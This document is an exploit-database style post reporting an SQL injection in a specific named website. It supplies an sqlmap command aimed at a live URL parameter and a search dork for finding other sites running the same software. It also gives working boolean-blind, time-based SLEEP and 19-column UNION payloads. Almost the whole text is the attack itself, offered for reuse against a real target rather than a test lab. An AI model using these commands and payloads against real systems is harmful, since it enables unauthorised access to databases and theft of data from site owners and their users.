****************************
#Exploit Title: artandaustralia - SQL Injection vulnerability
#Date: 12/02/2023
#Exploit Author: Mahdi Karimi
#Vendor Homepage: https://artandaustralia.com
#Google Dork: "Powered by artandaustralia"
#Tested On: Kali Linux
sqlmap:
sqlmap -u https://artandaustralia.com/book.php?id=33 -p id --level=5 --risk=3 --tamper=space2comment --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- UNION query
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 4420=4420&subject_id=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=12 AND (SELECT 7337 FROM (SELECT(SLEEP(5)))SIiu)&subject_id=1
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: id=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a7171,0x495a6f4a4467764b4470717546664e71784d75756a4250734e7869746f4d72414278767a43557775,0x717a716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&subject_id=1
---
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************